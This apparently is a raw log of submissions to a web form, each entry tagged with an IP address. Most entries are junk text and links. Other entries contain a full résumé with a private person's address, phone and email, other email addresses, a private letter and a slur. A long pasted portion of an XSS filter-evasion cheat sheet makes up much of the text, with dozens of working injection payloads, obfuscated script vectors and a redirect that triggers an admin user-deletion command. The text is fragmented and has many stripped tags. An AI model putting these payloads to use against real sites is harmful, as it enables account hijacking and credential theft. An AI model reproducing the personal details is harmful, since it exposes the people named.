½ÅûÁ¤º¸°¡ ¾ø½À´Ï´Ù ------------------------------------------------- REMOTE_ADDR = 80.100.151.36 ------------------------------------------------- REMOTE_ADDR = 168.28.48.192 http://www.fthe.net/ ------------------------------------------------- REMOTE_ADDR = 71.56.40.231 Hi! ------------------------------------------------- REMOTE_ADDR = 24.201.13.237 gdfg ------------------------------------------------- REMOTE_ADDR = 84.9.81.95 http://tinyurl.com/cytr3 ------------------------------------------------- REMOTE_ADDR = 194.83.4.8 hil;dkv;ld ------------------------------------------------- REMOTE_ADDR = 85.157.28.176 STEPHANIE LEONIDAS ------------------------------------------------- REMOTE_ADDR = 154.20.212.87 "Aaaaaaahhhhhhhhhhhhhhh...(gasp)...Aaaaaaahhhhhhhhhhhhh!" - Flight ------------------------------------------------- REMOTE_ADDR = 70.66.198.230 Ooo, typing things in a box! ------------------------------------------------- REMOTE_ADDR = 70.66.198.230 what's going on here? ------------------------------------------------- REMOTE_ADDR = 198.54.202.18 test ------------------------------------------------- REMOTE_ADDR = 198.54.202.18 testfrmField ------------------------------------------------- REMOTE_ADDR = 86.34.40.117 postal 2 ------------------------------------------------- acer travelmate lcd ------------------------------------------------- REMOTE_ADDR = 129.230.241.5 Improving Firefox ------------------------------------------------- REMOTE_ADDR = 129.230.241.5 when you were on ------------------------------------------------- REMOTE_ADDR = 202.57.96.130 fkjsh;dsfi fh;fhd;fhfodsah f;dsaofh'o h;foh f;hf hds'cfjds fdsajf AFJF DSAOFJDSAP FIPJDS FDSAFD FDSFDS FDSAFDSAF DSAF DSF DSF DSA FDSA ------------------------------------------------- REMOTE_ADDR = 212.241.36.160 Firefox ------------------------------------------------- REMOTE_ADDR = 72.255.44.194 tyt ------------------------------------------------- REMOTE_ADDR = 24.152.199.196 ghjghjghj ------------------------------------------------- REMOTE_ADDR = 163.118.203.104 http://www.htmlgoodies.com/beyond/javascript/article.php/3458851 ------------------------------------------------- REMOTE_ADDR = 218.103.214.245 dasdas ------------------------------------------------- REMOTE_ADDR = 218.103.214.245 sg ------------------------------------------------- REMOTE_ADDR = 218.103.214.245 sadasd ------------------------------------------------- REMOTE_ADDR = 68.229.133.235 fsd ------------------------------------------------- REMOTE_ADDR = 68.229.133.235 gg ------------------------------------------------- REMOTE_ADDR = 137.242.1.15 https://v1.titan.com/http/0/www.companycatalog.com/main4.asp?url=l3communications ------------------------------------------------- REMOTE_ADDR = 137.242.1.15 Clip this! ------------------------------------------------- REMOTE_ADDR = 203.215.96.179 k kng pagcompute kang salary ------------------------------------------------- REMOTE_ADDR = 80.243.71.224 ggg ------------------------------------------------- REMOTE_ADDR = 12.222.109.83 talon ------------------------------------------------- REMOTE_ADDR = 81.215.227.148 object Panel8: TPanel Left = 414 Top = 7 Width = 18 Height = 18 Color = clRed TabOrder = 3 end object Label13: TLabel Left = 437 Top = 10 Width = 39 Height = 13 Caption = 'Fark > 0' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'MS Sans Serif' Font.Style = [] ParentFont = False end ------------------------------------------------- REMOTE_ADDR = 212.227.35.75 fdsfdsfdsfsdfdsf ------------------------------------------------- REMOTE_ADDR = 82.71.18.97 http://www.fastpornserver.com/flexy/pussy11z/videos/9.wmv ------------------------------------------------- REMOTE_ADDR = 163.118.203.104 below you didn't have ------------------------------------------------- REMOTE_ADDR = 163.118.203.104 (If you don't see anything below you didn't have any text in your clipboard ------------------------------------------------- REMOTE_ADDR = 163.118.203.104 http://ha.ckers.org/cutandpaste.html ------------------------------------------------- REMOTE_ADDR = 167.219.48.10 http://www.fthe.net/ ------------------------------------------------- REMOTE_ADDR = 203.132.241.236 asdf ------------------------------------------------- REMOTE_ADDR = 24.42.67.100 hey ------------------------------------------------- REMOTE_ADDR = 83.102.232.111 asd ------------------------------------------------- REMOTE_ADDR = 62.21.88.253 62.21.82.115 ------------------------------------------------- REMOTE_ADDR = 24.43.114.155 your a homo ------------------------------------------------- REMOTE_ADDR = 70.26.59.230 http://local.live.com/default.aspx?v=2&cp=47.627709~-122.242316&style=o&lvl=2&scene=3695344&sp=adr.Pacific%20Hwy%20E%2c%20Tacoma%2c%20WA%2098422~adr.9634%20SE%20Shoreland%20Dr%2c%20Bellevue%2c%20WA%2098004 ------------------------------------------------- REMOTE_ADDR = 67.191.160.245 the crucial ------------------------------------------------- REMOTE_ADDR = 218.75.132.204 ttp://lb.avl.com.cn/avload/free3.jsp?mt=2&mf=/vod1/music/concert/rock04/01.wmv ------------------------------------------------- REMOTE_ADDR = 68.248.235.104 hello ------------------------------------------------- REMOTE_ADDR = 203.193.153.193 pradeep_roop_pundir@yahoo.co.in ------------------------------------------------- REMOTE_ADDR = 62.47.163.56 virenfragen.doc ------------------------------------------------- REMOTE_ADDR = 69.17.55.238 Fw: 6:33pm today ------------------------------------------------- REMOTE_ADDR = 86.49.64.207 FONT ------------------------------------------------- REMOTE_ADDR = 83.78.185.73 anything below you ------------------------------------------------- REMOTE_ADDR = 83.244.80.240 After you select file to download, list of available download mirrors will be displayed. For faster download, please select site that is close to you. ------------------------------------------------- REMOTE_ADDR = 80.67.58.16 lol ------------------------------------------------- REMOTE_ADDR = 84.246.64.88 Hi Kevin! I thank you for your letter and should you tell, that I do not want to take any means from you and I do not need in your money! Please leave it to itself. Even if you will send this money they I shall not help us as charges will take 450 dollars instead of 200. So I think better if you will leave this money and will spend them for that another. I am upset now very much and I do not know that to me to do. I still have feelings to you, and I shall think that to me to do in this weekend. I should go now. Natalia ------------------------------------------------- REMOTE_ADDR = 68.201.64.136 Bridgette Johnson 105 East Davis Kerrville TX 78028 830-257-8264 Byj78028@yahoo.com Objective : To gain a position as a Administrator: Qualification: Service Parts Clerk, Mooney Airplane Company, Kerrville TX 78028 > 2005-Present Duties include processing and taking orders, taking inventory, working in Axapta, customer service, answering phones , data entry, filing , Xerox, invoicing, responding to e-mails, processing e-mail orders, pulling parts, cycle counting Secretary, VA Hospital, Kerrville TX 78028 > 2004-Tempory Worked with the CMO of the Hospital, Scheduling Doctors, answering phones, filing , Xerox, minutes for meetings, organized meeting, typed letters and memos, payroll, processed the mail for the Doctors. Pre-Adjudicated Coordinator, Kerr County Juvenile Facility, Kerrville TX 78028,>2003-2004 Organized programs for the Pre-Adjudicated residents while in the facility, sent outgoing correspondence to resident parent(letter of notification) worked closely with the Juvenile Probation Officers from surrounding counties, school and the local to provide services to the Juveniles and their families, filling, coordinate residents schedule, delivered summons to appear in court, scheduled meeting with outside agencies, provide crisis management and group therapy for the resident while in the facility. Client Service Rep. Tri County Home Health, Kerrville TX> 2000-2003 Duties include typing correspondence, which include letters and memos, scheduling of patients and employees, delivering of orders, answering phones, filing, Xerox, processed the mail for the agency. Some PC experience. Certificated Nurse Aid, Altera Sterling House, Kerrville TX>1999-2000 Duties include taking care of patient ADL, feeding, bathing, and cleaning the patients rooms, Daily log of resident activities. Telecommunication Specialist, MCI World Com, Austin T X>1999-1999 Customer Service for local and long distance service, duties include typing forms for customers to receive and cancel service. Trouble shooting, and making sure the customers are satisfied with the new service. Resident Advisor , Texas A & M-Kingsville TX > 1996-1999 Duties include orienting incoming freshman that are registering for college. To provide crisis management and counseling for incoming freshman. Help with finding classes and any other information that they might need to survive in college. Education: Tivy High School- graduated 1995 Texas A &M Kingsville 1995-1999 University of Phoenix, Phoenix AZ- (Present)- lack 48 hrs for Bachelor’s Degree Relevant Experience: Axapta Typing 55-60 wpm Filing Xerox machine 10-key Multi-task Answering phones Organization Skills Computer Lit- WORD , Excel, Medical-Lewis, Vista Government Other Experience: Certification in Grief Recovery Certification Drug and Alcohol Issues in Teens Certification in Sex Offender Re-Socialization Time keeping (Government) ------------------------------------------------- REMOTE_ADDR = 195.251.120.50 skata ------------------------------------------------- REMOTE_ADDR = 212.186.145.134 conceal Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Subject: a sealed bid. f th girls bcc: charleslegbe@aol.com fb7b7b796e985df3a40af451135aee4a . ------------------------------------------------- REMOTE_ADDR = 193.201.103.80 counthry592@ckers.org ------------------------------------------------- REMOTE_ADDR = 201.214.48.153 BODY{background:url(javascript:alert(%27XSS%27))} Leider wird ein Popup ('Mixed https/http') angezeigt. Quelle: http://ha.ckers.org/xss.html ------------------------------------------------- REMOTE_ADDR = 202.128.25.141 don't see anything ------------------------------------------------- REMOTE_ADDR = 66.92.34.156 fdg ------------------------------------------------- REMOTE_ADDR = 66.92.34.156 fdg ------------------------------------------------- REMOTE_ADDR = 66.92.34.156 f vcvdg ------------------------------------------------- REMOTE_ADDR = 85.103.195.115 https://bugzilla.mozilla.org/show_bug.cgi?id=289864 ------------------------------------------------- REMOTE_ADDR = 68.49.90.38 asdfasdfasdfasdf ------------------------------------------------- REMOTE_ADDR = 24.79.95.247 $_SERVER['SCRIPT_FILENAME' ------------------------------------------------- REMOTE_ADDR = 71.110.199.222 dfg ------------------------------------------------- REMOTE_ADDR = 71.110.199.222 wetwerer ------------------------------------------------- REMOTE_ADDR = 71.110.199.222 wetwerer ------------------------------------------------- REMOTE_ADDR = 84.191.243.117 test ------------------------------------------------- REMOTE_ADDR = 144.137.169.121 a ------------------------------------------------- REMOTE_ADDR = 144.137.169.121 "; print "ace"; ------------------------------------------------- REMOTE_ADDR = 218.160.157.146 hihi ------------------------------------------------- REMOTE_ADDR = 220.233.182.21 //google.com ------------------------------------------------- REMOTE_ADDR = 163.118.117.80 #include #include #include #include #include #include #include #include using namespace std; class Rochambo{ public: int wins(string op) { int ret = 0; if(op[0]=='S') ret++; if(op[1]=='S') ret++; string str = "RR"; for(int i=2;i 3.
4. 5. 6. 7. 8. & 9. &{[code]}; 10. 11. 12. Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] FRAME (frames have the same sorts of XSS problems as iframes): Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] TABLE (who would have thought tables were XSS targets... except me, of course): Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] TD (just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors):
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] DIV background-image:
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] DIV background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] DIV expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts): Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov for this one): Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter): Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] IMG STYLE with expression (this is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop): exp/* Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] STYLE tag (Older versions of Netscape only): Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4] STYLE tag using background-image: Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] STYLE tag using background: Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job: Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] BASE tag. Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work): Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] OBJECT tag (if they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS: Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Using an OBJECT tag you can embed XSS directly (this is unverified so no browser support is added): Using an OBJECT tag you can embed a Flash movie that contains XSS: getURL("javascript:alert('XSS')") Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Using the above ActionScript inside flash can obfuscate your XSS vector: a="get"; b="URL(\""; c="javascript:"; d="alert('XSS');\")"; eval(a+b+c+d); Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] XML namespace. The htc file must be located on the same server as your XSS vector: XSS Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo: ]]> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] XML data island with comment obfuscation (this is another take on the same exploit that doesn't use CDATA fields, but rather uses comments to break up the javascript directive): <IMG SRC="javascript:alert('XSS')"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here: Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] HTML+TIME in XML. This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work: Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector: Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues: Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues: alert("XSS")'); ?> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] IMG Embedded commands - this works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors: Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this): Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Cookie manipulation - admittidly this is pretty obscure but I have seen a few examples where Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.: +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] XSS using HTML quote encapsulation: This was tested in IE, your mileage may vary. For performing XSS on sites that allow " Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] For performing XSS on sites that allow " Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Another XSS to evade the same filter, "/\s]+))?)+\s*|\s*)src/i": Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Yet another XSS to evade the same filter, "/\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] And one last XSS attack to evade, "/\s]+))?)+\s*|\s*)src/i" using grave accents (again, doesn't work in Firefox): Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly: Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content: PT SRC="http://ha.ckers.org/xss.js"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] URL string evasion (assuming "http://www.google.com/" is programmatically disallowed): IP verses hostname: XSS Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] URL encoding: XSS Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Dword encoding (Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details): XSS Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Hex encoding (the total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required): XSS Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Octal encoding (again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...): XSS Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Mixed encoding (let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes: XSS Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL. XSS Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Google "feeling lucky" part 1. Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatinate several keywords by using something like the following "keyword:XSS+RSnake" for instance. XSS Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Google "feeling lucky" part 2. This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera: XSS Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Google "feeling lucky" part 3. This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"): XSS Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Removing cnames (when combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly): XSS Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Extra dot for absolute DNS: XSS Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] JavaScript link location: XSS Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Content replace as attack vector (assuming "http://www.google.com/" is programmatically replaced with nothing). I actually used a similar attack vector against a several seperate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: "java&#x09;script:" was converted into "java script:", which renders in IE, Netscape 8.1+ in secure site mode and Opera): XSS Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Character Encoding: All the possible combinations of the character "<" in HTML and JavaScript (in UTF-8). Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above (standards are great, aren't they?): < %3C < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < \x3c \x3C \u003c \u003C Character Encoding Calculator ASCII Text: Enter your XSS here Hex Value: URL: HTML (with semicolons): Decimal Value: HTML (without semicolons): Base64 Value Base64: IP Obfuscation Calculator IP Address: : dword level Dword Address: Hex Address: Octal Address: Browser support reference table: IE6.0 Vector works in Internet Explorer. Most recently tested with Internet Explorer 6.0.28.1.1106CO, SP2 on Windows 2000. NS8.1-IE Vector works in Netscape 8.1+ in IE rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional. This used to be called trusted mode, but Netscape has changed it's security model away from the trusted/untrusted model and has opted towards Gecko as a default and IE as an option. NS8.1-G Vector works in Netscape 8.1+ in the Gecko rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional FF1.5 Vector works in Mozilla's Gecko rendering engine, used by Firefox. Most recently tested with Firefox 1.5.0.4 on Windows XP Professional. O8.54 Vector works in Opera. Most recently tested with Opera 8.54, Build 7722 on Windows XP Professional NS4 Vector works in older versions of Netscape 4.0 - untested. Note: if a vector is not marked it either does not work or it is untested. Written in vim, and UTF-8 encoded, for her pleasure. All rights reserved, all wrongs observed. © 1995-2006 RSnake ------------------------------------------------- REMOTE_ADDR = 198.54.202.195 XSS (Cross Site Scripting) Cheat Sheet Esp: for filter evasion By RSnake Note from the author: XSS is Cross Site Scripting. If you don't know how XSS (Cross Site Scripting) works, this page probably won't help you. This page is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. This page will also not show you how to mitigate XSS vectors or how to write the actual cookie/credential stealing/replay/session riding portion of the attack. It will simply show the underlying methodology and you can infer the rest. Also, please note my XSS page has been replicated by the OWASP 2.0 Guide in the Appendix section with my permission. However, because this is a living document I suggest you continue to use this site to stay up to date. Also, please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the page, however, if you have specific concerns about outdated or obscure versions please download them from Evolt. Please see the XML format of the XSS Cheat Sheet if you intend to use CAL9000 or other automated tools. If you have an RSS reader feel free to subscribe to the Web Application Security RSS feed below, or join the forum: XSS (Cross Site Scripting): XSS locator. Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable (use the URL encoding calculator below to encode the entire string). Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] XSS locator 2. If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS verses &lt;XSS to see if it is vulnerable: '';!--"<XSS>=&{()} Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here): <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Image XSS using the JavaScript directive: <IMG SRC="javascript:alert('XSS');"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] No quotes and no semicolon: <IMG SRC=javascript:alert('XSS')> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Case insensitive XSS attack vector: <IMG SRC=JaVaScRiPt:alert('XSS')> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] HTML entities (the semicolons are required for this to work): <IMG SRC=javascript:alert(&quot;XSS&quot;)> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents): <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Malformed IMG tags. Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag: <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] fromCharCode (if no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need): <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS calculator for more information: <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild): <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Use the XSS calculator for more information: <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Embedded tab to break up the cross site scripting attack: <IMG SRC="jav ascript:alert('XSS');"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below: <IMG SRC="jav&#x09;ascript:alert('XSS');"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Embeded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector: <IMG SRC="jav&#x0A;ascript:alert('XSS');"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.): <IMG SRC="jav&#x0D;ascript:alert('XSS');"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector) these are not spaces just one of the three characters as described above: <IMG SRC = " j a v a s c r i p t : a l e r t ( ' X S S ' ) " > Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Null breaks up JavaScript directive. Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example: perl -e 'print "<IMG 